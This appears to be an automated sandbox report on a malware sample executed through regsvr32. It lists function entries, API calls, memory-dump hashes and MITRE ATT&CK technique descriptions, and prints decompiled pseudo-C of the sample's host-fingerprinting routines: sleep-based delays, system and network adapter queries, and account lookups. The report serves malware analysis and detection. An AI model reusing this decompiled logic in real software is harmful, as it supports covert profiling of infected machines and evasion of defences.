G, xrefs: 000007FEF8F912DF

Memory Dump Source

Source File: 00000004.00000002.2111930579.000007FEF8F91000.00000020.00020000.sdmp, Offset: 000007FEF8F90000, based on PE: true

Associated: 00000004.00000002.2111913934.000007FEF8F90000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111943856.000007FEF8F95000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111971681.000007FEF8F9E000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111986744.000007FEF8FA0000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$CreateCurrentDuplicateHandleObjectPriorityResumeSingleWait
String ID: DllRegisterServer$G$_
API String ID: 1174013218-1650116920
Opcode ID: fb96d5351e15185721c7c678f22100d1a9f993aebe460c17edc53ec82f678213
Instruction ID: 6608af3ea9cadc71cadd7eaf5fd0afc6bc6969bf4d43f0012be74416a8711f7a
Opcode Fuzzy Hash: fb96d5351e15185721c7c678f22100d1a9f993aebe460c17edc53ec82f678213
Instruction Fuzzy Hash: 7D31F772908B858AE764CF25F84435AB6E2F789364F504039D68C97B78EB7CD158CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF8F920A0, Relevance: 3.4, APIs: 1, Strings: 1, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000007FEF8F9220B

Strings

@, xrefs: 000007FEF8F921E1

Memory Dump Source

Source File: 00000004.00000002.2111930579.000007FEF8F91000.00000020.00020000.sdmp, Offset: 000007FEF8F90000, based on PE: true

Associated: 00000004.00000002.2111913934.000007FEF8F90000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111943856.000007FEF8F95000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111971681.000007FEF8F9E000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111986744.000007FEF8FA0000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: @
API String ID: 4275171209-2766056989
Opcode ID: 81cc5fa61e63df9641c82d5ec4088076d96df196aa3fedfd4a34d15b22035c1b
Instruction ID: d852fcecc8c65b33074624bcc973cb4eb89098c5c099dee049a95ff6459d2f31
Opcode Fuzzy Hash: 81cc5fa61e63df9641c82d5ec4088076d96df196aa3fedfd4a34d15b22035c1b
Instruction Fuzzy Hash: DF326C76609BC48AD7B5CB56F49079AB7A5F7C9B90F10802AEACD93B18DB38C154CF01

Uniqueness

Uniqueness Score: -1.00%

Function 001B10AC, Relevance: 3.0, APIs: 2, Instructions: 10COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 001B10B7
RtlExitUserProcess.NTDLL ref: 001B10C8

Memory Dump Source

Source File: 00000004.00000002.2109488986.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: true

Similarity

API ID: ExitProcessSleepUser
String ID:
API String ID: 354099737-0
Opcode ID: 0042952dd3aad89d8123fb1b19f0e5b4d8c6ab7462fdf89570b08f587bfd53b2
Instruction ID: b248c92643af6e86a2ba2c5abe2b16d8dab0787f217852e1677af44787d65faf
Opcode Fuzzy Hash: 0042952dd3aad89d8123fb1b19f0e5b4d8c6ab7462fdf89570b08f587bfd53b2
Instruction Fuzzy Hash: 03C08C30104684D3F31EBB20E8683E93235B300305F424619E303856E08F3C04C8C303

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF8F93100, Relevance: 1.7, APIs: 1, Instructions: 216libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000007FEF8F9327B

Memory Dump Source

Source File: 00000004.00000002.2111930579.000007FEF8F91000.00000020.00020000.sdmp, Offset: 000007FEF8F90000, based on PE: true

Associated: 00000004.00000002.2111913934.000007FEF8F90000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111943856.000007FEF8F95000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111971681.000007FEF8F9E000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111986744.000007FEF8FA0000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 71a4d3e6afc3869dd51c089c56fbff1864f24b1d1d871186f2474ca292a1132a
Instruction ID: 3adc23c25f3a0f1b8435709f589f86897b1c8289c5bdacba1448a615a5bf1034
Opcode Fuzzy Hash: 71a4d3e6afc3869dd51c089c56fbff1864f24b1d1d871186f2474ca292a1132a
Instruction Fuzzy Hash: 19D13F76509BC486D774CB4AE49039AB7A1F3C9790F10902AEACD93B68DF78C094CF40

Uniqueness

Uniqueness Score: -1.00%

Function 001B22DC, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

LookupAccountNameW.ADVAPI32 ref: 001B233C

Memory Dump Source

Source File: 00000004.00000002.2109488986.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: true

Similarity

API ID: AccountLookupName
String ID:
API String ID: 1484870144-0
Opcode ID: cafe0df7641921cb4b3b83197fca258bc474e661d5f4a52d45703bbf776aa30b
Instruction ID: 60f7399251d735b1e8cad7b8c0da10334775dee052dc7b02c6ac96509f9298b4
Opcode Fuzzy Hash: cafe0df7641921cb4b3b83197fca258bc474e661d5f4a52d45703bbf776aa30b
Instruction Fuzzy Hash: 5D316972705B418AEB109FB6E8443DA37A4FB48B88F588135EA4D57B29EF38C549C350

Uniqueness

Uniqueness Score: -1.00%

Function 001B2434, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E001B2434(void* __eax, signed long long __rax, signed long long __rbx, signed int __rcx, signed long long __rdx, long long __rdi, void* __rsi, void* __r9, void* __r11, void* __r14) {
				void* __rbp;
				void* _t27;
				void* _t40;
				void* _t41;
				signed long long _t51;
				signed long long _t52;
				signed long long _t64;
				long long _t69;
				void* _t73;
				void* _t75;
				void* _t82;

				_t82 = __r9;
				_t71 = __rsi;
				_t69 = __rdi;
				_t64 = __rdx;
				_t52 = __rbx;
				_t51 = __rax;
				 *((long long*)(_t75 + 0x18)) = __rbx;
				 *((long long*)(_t75 + 0x20)) = __rdi;
				_t73 = _t75 - 0x57;
				_t4 = _t52 + 4; // 0x4
				_t40 = _t4;
				goto L1;
				L9:
				return 0;
				L1:
				asm("rdtsc");
				_t64 = _t64 << 0x20;
				_t51 = _t51 | _t64;
				_t52 = _t52 << 0x00000010 | __rcx;
				SleepEx(??, ??); // executed
				_t69 = _t69 - 1;
				if(_t69 != 0) {
					goto L1;
				} else {
					wsprintfA();
					E001B11FC(_t73 - 0x29, _t52);
					_t37 = E001B153C(_t73 - 0x29);
					E001B2C08( *((intOrPtr*)(_t73 + 0x17)), _t23, _t40, _t51, _t52, __rsi, _t73, _t73 - 0x49, _t82);
					_t44 = _t51;
					if(_t51 != 0) {
						_t80 = _t73 + 0x67;
						if(E001B1EEC(_t37, _t44, _t51, _t52, _t73 + 0x1b, _t51, _t71, _t73, _t73 + 0x67, _t73 + 0x6f, __r11, __r14) != 0) {
							_t67 =  *((intOrPtr*)(_t73 + 0x6f));
							if( *((intOrPtr*)(_t73 + 0x6f)) >= 0x400) {
								_t27 = E001B272C(0, _t37, _t40,  *((intOrPtr*)(_t73 + 0x67)), _t67, _t69, _t73, _t80, __r11, __r14);
								_t55 =  *((intOrPtr*)(_t73 + 0x67));
								_t41 = _t27;
								if( *((intOrPtr*)(_t73 + 0x67)) != 0) {
									GetProcessHeap();
									HeapFree(??, ??, ??);
								}
								E001B1FD0(_t41, _t51, _t55, _t73 - 0x49, _t71);
								_t49 = _t51;
								if(_t51 != 0) {
									E001B2A1C(_t49, _t73 + 0x1b, _t51);
								}
							}
						}
					}
					goto L9;
				}
			}

0x001b2434
0x001b2434
0x001b2434
0x001b2434
0x001b2434
0x001b2434
0x001b2434
0x001b2439
0x001b243f
0x001b244d
0x001b244d
0x001b244d
0x001b2512
0x001b2528
0x001b2450
0x001b2454
0x001b2456
0x001b245a
0x001b2460
0x001b2468
0x001b246e
0x001b2472
0x00000000
0x001b2474
0x001b2482
0x001b248c
0x001b249d
0x001b249f
0x001b24a4
0x001b24a7
0x001b24b0
0x001b24bf
0x001b24c1
0x001b24cc
0x001b24d2
0x001b24d7
0x001b24db
0x001b24e0
0x001b24e2
0x001b24f0
0x001b24f0
0x001b24fc
0x001b2501
0x001b2504
0x001b250d
0x001b250d
0x001b2504
0x001b24cc
0x001b24bf
0x00000000
0x001b24a7

APIs

SleepEx.KERNEL32 ref: 001B2468

Memory Dump Source

Source File: 00000004.00000002.2109488986.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: true

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 20254b6f6f1ff962b78622cb32e4c72357f2ae928b9d5189ffb1cb94102db212
Instruction ID: c9da4ff87a2bc895bab384596edc4cc2c37c45b21341cafe2a5a99aac0f3a436
Opcode Fuzzy Hash: 20254b6f6f1ff962b78622cb32e4c72357f2ae928b9d5189ffb1cb94102db212
Instruction Fuzzy Hash: F0219272300A409AEF20EFB2E4543ED33A1F798784F994426EE4D57659EF38D549C350

Uniqueness

Uniqueness Score: -1.00%

Function 001B260C, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,0000011C,001B1E13), ref: 001B264B

Memory Dump Source

Source File: 00000004.00000002.2109488986.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: true

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: e07d5386416b452ae357def83d54998eea7d12d9b96eaf79d3048644093a814a
Instruction ID: 62c8b849bfd568ce1ef31c80dc291a9cddc16c83e20172e320ba1ef74a26f57a
Opcode Fuzzy Hash: e07d5386416b452ae357def83d54998eea7d12d9b96eaf79d3048644093a814a
Instruction Fuzzy Hash: 3EE0ED3262454592EF11FB20E8543D97361FBD8704F844126A95E426A4EF3CCA5DC740

Uniqueness

Uniqueness Score: -1.00%

Function 001B1000, Relevance: 1.5, APIs: 1, Instructions: 13threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 001B1022

Memory Dump Source

Source File: 00000004.00000002.2109488986.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: true

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: d810e3ef372af79f05ccbcc8a3c3fc3137e58aa0d92ff2561a569d39733649b8
Instruction ID: 8f3362570e4ab31714775b751fca0485858bf91516d18a81d9f787fbf53f0960
Opcode Fuzzy Hash: d810e3ef372af79f05ccbcc8a3c3fc3137e58aa0d92ff2561a569d39733649b8
Instruction Fuzzy Hash: 62D0A772E1424083F7309B10EA263DA3311F3D4315FD18206D54944554CF3CC158CA00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: regsvr32.exe PID: 2212 Parent PID: 2364 regsvr32.exeCOMMON

Executed Functions

Function 001727BC, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E001727BC(long long __rbx, void* __rcx, signed long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* __rdi;
				int _t23;
				void* _t24;
				void* _t27;
				intOrPtr _t35;
				void* _t36;
				intOrPtr* _t44;
				long long _t46;
				intOrPtr* _t48;
				intOrPtr* _t54;
				intOrPtr* _t62;
				signed long long _t64;
				long long* _t67;
				intOrPtr* _t69;
				void* _t77;
				void* _t78;
				struct HINSTANCE__* _t79;
				void* _t80;
				CHAR* _t82;
				char* _t83;

				_t64 = __rsi;
				_t46 = __rbx;
				_t44 = _t69;
				 *((long long*)(_t44 + 8)) = __rbx;
				 *((long long*)(_t44 + 0x18)) = __rbp;
				 *((long long*)(_t44 + 0x20)) = __rsi;
				_push(_t62);
				_t80 = __rcx;
				_t83 = L"; _gid=";
				 *(_t44 + 0x10) =  *(_t44 + 0x10) & 0;
				LoadLibraryA(_t82);
				GetProcAddress(_t79);
				_t67 = _t44;
				if(_t44 == 0) {
					L6:
					r9d = 1;
					_t23 = E00172990(_t36, _t44, _t46, _t80, L"; _gid=", _t62, 0x1770c4, _t77, _t78);
					L7:
					return _t23;
				}
				_t24 =  *_t67(); // executed
				if(_t24 == 0x6f && __rbx != 0) {
					GetProcessHeap();
					_t9 = _t64 + 8; // 0x8
					_t36 = _t9;
					HeapAlloc(??, ??, ??);
					_t62 = _t44;
					if(_t44 == 0) {
						goto L6;
					}
					_t54 = _t44; // executed
					_t27 =  *_t67(); // executed
					if(_t27 == 0) {
						_t48 = _t62;
						do {
							if( *((char*)(_t48 + 0x1c0)) != 0x30 ||  *((char*)(_t48 + 0x1c1)) != 0x2e) {
								_t35 =  *((intOrPtr*)(_t48 + 0x194));
								if(_t54 - 1 <= 7) {
									r9d = _t35;
									_t18 = _t48 + 0x198; // 0x198
									_t54 = _t80 + _t64 * 2;
									E00172990(_t36, _t44, _t48, _t54, _t83, _t62, _t18, _t77, _t78);
									_t64 = _t64 + _t44;
									_t83 = ":";
								}
							}
							_t48 =  *_t48;
						} while (_t48 != 0);
						GetProcessHeap();
						_t36 = 0;
						_t23 = HeapFree(??, ??, ??);
						if(_t64 == 0) {
							goto L6;
						}
						goto L7;
					}
					GetProcessHeap();
					_t36 = 0;
					HeapFree(??, ??, ??);
				}
			}

0x001727bc
0x001727bc
0x001727bc
0x001727bf
0x001727c3
0x001727c7
0x001727cb
0x001727d4
0x001727d7
0x001727e7
0x001727ea
0x001727fa
0x00172800
0x00172806
0x0017285f
0x0017285f
0x00172876
0x0017287b
0x00172893
0x00172893
0x0017280f
0x00172814
0x0017281f
0x0017282c
0x0017282c
0x0017282f
0x00172835
0x0017283b
0x00000000
0x00000000
0x00172842
0x00172845
0x00172849
0x00172894
0x00172897
0x0017289e
0x001728a9
0x001728b5
0x001728b7
0x001728ba
0x001728c1
0x001728c8
0x001728cd
0x001728d0
0x001728d0
0x001728b5
0x001728d7
0x001728da
0x001728df
0x001728e8
0x001728ed
0x001728f6
0x00000000
0x00000000
0x00000000
0x001728fc
0x0017284b
0x00172854
0x00172859
0x00172859

APIs

GetAdaptersInfo.IPHLPAPI(?,?,00000000,00172CFE,?,?,00000003,001724A4), ref: 0017280F
GetAdaptersInfo.IPHLPAPI(?,?,00000000,00172CFE,?,?,00000003,001724A4), ref: 00172845

Memory Dump Source

Source File: 00000005.00000002.2117907982.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: true

Similarity

API ID: AdaptersInfo
String ID:
API String ID: 3177971545-0
Opcode ID: fc699fa13e68b788d874d6a78f58e359039745370b383d3aa825a9febfb906a8
Instruction ID: c147e1d609af02e1b9d57d5080caccdab86ceacbdc9f9007ac5f363159ace3f6
Opcode Fuzzy Hash: fc699fa13e68b788d874d6a78f58e359039745370b383d3aa825a9febfb906a8
Instruction Fuzzy Hash: CA316432609B8092EB15DB62E8007D977B0FB89F94F488026DE0D0B758EF39C58AC341

Uniqueness

Uniqueness Score: -1.00%

Function 00171678, Relevance: 3.1, APIs: 2, Instructions: 77memorynativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,00000000,00172CB1,?,?,00000003,001724A4), ref: 001716CB
RtlAllocateHeap.NTDLL(?,?,00000000,00172CB1,?,?,00000003,001724A4), ref: 00171709

Memory Dump Source

Source File: 00000005.00000002.2117907982.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: true

Similarity

API ID: AllocateHeapInformationQuerySystem
String ID:
API String ID: 3114120137-0
Opcode ID: 15ab51baa947bc1f3c3fdf1eb6848148db47552542206cc3bcd8ce7c2f187386
Instruction ID: c7ac077d000f7f7e0ded045365d0bd0438a374237102f45ef7b275eb7dace9a6
Opcode Fuzzy Hash: 15ab51baa947bc1f3c3fdf1eb6848148db47552542206cc3bcd8ce7c2f187386
Instruction Fuzzy Hash: 93215E75319B8093EB199F5AA8443E972B2FB89BD1F598034EE4E47754EF3CC9458700

Uniqueness

Uniqueness Score: -1.00%

Function 00171810, Relevance: 1.7, APIs: 1, Instructions: 198memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL ref: 00171A08

Memory Dump Source

Source File: 00000005.00000002.2117907982.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: true

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c3a72f5bfcfd91918b5e83c3bb15c180b6cc2b39742bdcf2d413e26ac2e8c0cf
Instruction ID: 450cc83e7131ee842f761892662493495dff9dd32b57da15b283368a5a0a364e
Opcode Fuzzy Hash: c3a72f5bfcfd91918b5e83c3bb15c180b6cc2b39742bdcf2d413e26ac2e8c0cf
Instruction Fuzzy Hash: E271BE32315B8197EB24CFAAE850BA937B5FB48B94F448529EE4E43B14DF38C655C700

Uniqueness

Uniqueness Score: -1.00%

Function 001710AC, Relevance: 3.0, APIs: 2, Instructions: 10COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 001710B7
RtlExitUserProcess.NTDLL ref: 001710C8

Memory Dump Source

Source File: 00000005.00000002.2117907982.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: true

Similarity

API ID: ExitProcessSleepUser
String ID:
API String ID: 354099737-0
Opcode ID: 0042952dd3aad89d8123fb1b19f0e5b4d8c6ab7462fdf89570b08f587bfd53b2
Instruction ID: 9865e4c24b9f22560228f8bfe03bad03dc8dc0f4b5fc7089c92bfa7aa144ba87
Opcode Fuzzy Hash: 0042952dd3aad89d8123fb1b19f0e5b4d8c6ab7462fdf89570b08f587bfd53b2
Instruction Fuzzy Hash: 15C04C30509684D3F76E9B79ED593E82279B740705F114619E30F456E08F7D54D8C743

Uniqueness

Uniqueness Score: -1.00%

Function 001722DC, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

LookupAccountNameW.ADVAPI32 ref: 0017233C

Memory Dump Source

Source File: 00000005.00000002.2117907982.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: true

Similarity

API ID: AccountLookupName
String ID:
API String ID: 1484870144-0
Opcode ID: cafe0df7641921cb4b3b83197fca258bc474e661d5f4a52d45703bbf776aa30b
Instruction ID: ce3afc72e8a246692a3a5feaf4dca4eb5fc3378542d7f0d3e1b8073cb10adafb
Opcode Fuzzy Hash: cafe0df7641921cb4b3b83197fca258bc474e661d5f4a52d45703bbf776aa30b
Instruction Fuzzy Hash: 4C315972705B418AEB208FB5E8443D933B4FB48B88F588135EA4E57A28EF38C549C340

Uniqueness

Uniqueness Score: -1.00%

Function 00172434, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00172434(void* __eax, signed long long __rax, signed long long __rbx, signed int __rcx, signed long long __rdx, long long __rdi, void* __rsi, void* __r9, void* __r11, void* __r14) {
				void* __rbp;
				void* _t27;
				void* _t40;
				void* _t41;
				signed long long _t51;
				signed long long _t52;
				signed long long _t64;
				long long _t69;
				void* _t73;
				void* _t75;
				void* _t82;

				_t82 = __r9;
				_t71 = __rsi;
				_t69 = __rdi;
				_t64 = __rdx;
				_t52 = __rbx;
				_t51 = __rax;
				 *((long long*)(_t75 + 0x18)) = __rbx;
				 *((long long*)(_t75 + 0x20)) = __rdi;
				_t73 = _t75 - 0x57;
				_t4 = _t52 + 4; // 0x4
				_t40 = _t4;
				goto L1;
				L9:
				return 0;
				L1:
				asm("rdtsc");
				_t64 = _t64 << 0x20;
				_t51 = _t51 | _t64;
				_t52 = _t52 << 0x00000010 | __rcx;
				SleepEx(??, ??); // executed
				_t69 = _t69 - 1;
				if(_t69 != 0) {
					goto L1;
				} else {
					wsprintfA();
					E001711FC(_t73 - 0x29, _t52);
					_t37 = E0017153C(_t73 - 0x29);
					E00172C08( *((intOrPtr*)(_t73 + 0x17)), _t23, _t40, _t51, _t52, __rsi, _t73, _t73 - 0x49, _t82);
					_t44 = _t51;
					if(_t51 != 0) {
						_t80 = _t73 + 0x67;
						if(E00171EEC(_t37, _t44, _t51, _t52, _t73 + 0x1b, _t51, _t71, _t73, _t73 + 0x67, _t73 + 0x6f, __r11, __r14) != 0) {
							_t67 =  *((intOrPtr*)(_t73 + 0x6f));
							if( *((intOrPtr*)(_t73 + 0x6f)) >= 0x400) {
								_t27 = E0017272C(0, _t37, _t40,  *((intOrPtr*)(_t73 + 0x67)), _t67, _t69, _t73, _t80, __r11, __r14);
								_t55 =  *((intOrPtr*)(_t73 + 0x67));
								_t41 = _t27;
								if( *((intOrPtr*)(_t73 + 0x67)) != 0) {
									GetProcessHeap();
									HeapFree(??, ??, ??);
								}
								E00171FD0(_t41, _t51, _t55, _t73 - 0x49, _t71);
								_t49 = _t51;
								if(_t51 != 0) {
									E00172A1C(_t49, _t73 + 0x1b, _t51);
								}
							}
						}
					}
					goto L9;
				}
			}

0x00172434
0x00172434
0x00172434
0x00172434
0x00172434
0x00172434
0x00172434
0x00172439
0x0017243f
0x0017244d
0x0017244d
0x0017244d
0x00172512
0x00172528
0x00172450
0x00172454
0x00172456
0x0017245a
0x00172460
0x00172468
0x0017246e
0x00172472
0x00000000
0x00172474
0x00172482
0x0017248c
0x0017249d
0x0017249f
0x001724a4
0x001724a7
0x001724b0
0x001724bf
0x001724c1
0x001724cc
0x001724d2
0x001724d7
0x001724db
0x001724e0
0x001724e2
0x001724f0
0x001724f0
0x001724fc
0x00172501
0x00172504
0x0017250d
0x0017250d
0x00172504
0x001724cc
0x001724bf
0x00000000
0x001724a7

APIs

SleepEx.KERNEL32 ref: 00172468

Memory Dump Source

Source File: 00000005.00000002.2117907982.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: true

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 20254b6f6f1ff962b78622cb32e4c72357f2ae928b9d5189ffb1cb94102db212
Instruction ID: 91d9c968edd4965308ede161a2ad36adef0dddbf9fe83ee89e787fafaa51c8ea
Opcode Fuzzy Hash: 20254b6f6f1ff962b78622cb32e4c72357f2ae928b9d5189ffb1cb94102db212
Instruction Fuzzy Hash: 38217F72300A409AEF10DFB5E9543ED23B1F798784F988426EE4E57658EF38D54AC350

Uniqueness

Uniqueness Score: -1.00%

Function 00172C08, Relevance: 1.6, APIs: 1, Instructions: 65
memoryCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00172C08(void* __ecx, void* __edx, void* __edi, intOrPtr* __rax, long long __rbx, long long __rsi, long long __rbp, long long __r8, void* __r9, long long _a8, long long _a16, long long _a24) {
				void* _t22;
				int _t23;
				int _t24;
				void* _t30;
				void* _t36;
				intOrPtr* _t40;
				long long _t46;
				signed long long _t47;
				signed long long _t48;
				intOrPtr* _t68;
				long long _t70;

				_t40 = __rax;
				_t36 = __edi;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t70 = __r8;
				GetProcessHeap();
				r8d = 0x2001;
				_t22 = RtlAllocateHeap(??, ??, ??); // executed
				_t68 = __rax;
				_t38 = __rax;
				if(__rax != 0) {
					r9d = __ecx;
					_t23 = wsprintfW(??, ??);
					r9d = __edx;
					_t24 = wsprintfW(??, ??);
					r9d = E00172BD8(_t24, __rax, L"%s%u");
					_t46 = _t23 + _t24 + wsprintfW(??, ??);
					r9d = E00171678(__rax, _t46, __r8);
					_t47 = _t46 + wsprintfW(??, ??);
					E00171D18(__rax, _t47, __rax + _t47 * 2, _t70);
					_t48 = _t47 + __rax;
					_t30 = E00171AC8(_t38, __rax, _t48, __rax + _t48 * 2, ":");
					_t49 = _t48 + __rax;
					E00172A98(_t30, _t36, __rax, _t48 + __rax, __rax + (_t48 + __rax) * 2, _t70, _t70);
					_t22 = E001727BC(_t49 + _t40, _t68 + (_t49 + _t40) * 2, _t70, ":");
				}
				return _t22;
			}

0x00172c08
0x00172c08
0x00172c08
0x00172c0d
0x00172c12
0x00172c1c
0x00172c23
0x00172c2e
0x00172c37
0x00172c3d
0x00172c40
0x00172c43
0x00172c49
0x00172c5d
0x00172c66
0x00172c7e
0x00172c93
0x00172ca9
0x00172cb5
0x00172ccb
0x00172cd2
0x00172cd7
0x00172cde
0x00172ce3
0x00172ced
0x00172cf9
0x00172cfe
0x00172d15

APIs

RtlAllocateHeap.NTDLL(?,?,00000003,001724A4), ref: 00172C37

Part of subcall function 00171678: NtQuerySystemInformation.NTDLL(?,?,00000000,00172CB1,?,?,00000003,001724A4), ref: 001716CB

Part of subcall function 001727BC: GetAdaptersInfo.IPHLPAPI(?,?,00000000,00172CFE,?,?,00000003,001724A4), ref: 0017280F
Part of subcall function 001727BC: GetAdaptersInfo.IPHLPAPI(?,?,00000000,00172CFE,?,?,00000003,001724A4), ref: 00172845

Memory Dump Source

Source File: 00000005.00000002.2117907982.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: true

Similarity

API ID: AdaptersInfo$AllocateHeapInformationQuerySystem
String ID:
API String ID: 1716770124-0
Opcode ID: 551f92eabf4abe2fe4f6e692089831cc0b5c0ff75ee8c8a7613f42fc3d82b9ba
Instruction ID: 830fe46c4de6a0efa6bc22b98461b421443fe32788d561b6841883c3b79aeba7
Opcode Fuzzy Hash: 551f92eabf4abe2fe4f6e692089831cc0b5c0ff75ee8c8a7613f42fc3d82b9ba
Instruction Fuzzy Hash: BA214872749B40A2DB20AF55F8943E86370FB65B81F94802AEB0E87775EF38C569C300

Uniqueness

Uniqueness Score: -1.00%

Function 0017260C, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,0000011C,00171E13), ref: 0017264B

Memory Dump Source

Source File: 00000005.00000002.2117907982.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: true

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: e07d5386416b452ae357def83d54998eea7d12d9b96eaf79d3048644093a814a
Instruction ID: 634134971e3f2743020895c42ea1fd754eefefbd4222eca5441bd6aba635ce1f
Opcode Fuzzy Hash: e07d5386416b452ae357def83d54998eea7d12d9b96eaf79d3048644093a814a
Instruction Fuzzy Hash: 43E01232728545D3DF11EB20E8543D97371FB94704F844126AA5E426A4EF2CC75DC740

Uniqueness

Uniqueness Score: -1.00%

Function 00171000, Relevance: 1.5, APIs: 1, Instructions: 13threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00171022

Memory Dump Source

Source File: 00000005.00000002.2117907982.0000000000170000.00000040.00000001.sdmp, Offset: 00170000, based on PE: true

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: d810e3ef372af79f05ccbcc8a3c3fc3137e58aa0d92ff2561a569d39733649b8
Instruction ID: 235a5edee687a6385e97b2550985c27f2c53d976bf8e7e6549ed2be7e9f47318
Opcode Fuzzy Hash: d810e3ef372af79f05ccbcc8a3c3fc3137e58aa0d92ff2561a569d39733649b8
Instruction Fuzzy Hash: 15D0A972E1828083F7348B20EA163DA2335F3E4319F808206EA4E84964CF3CC198CA00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
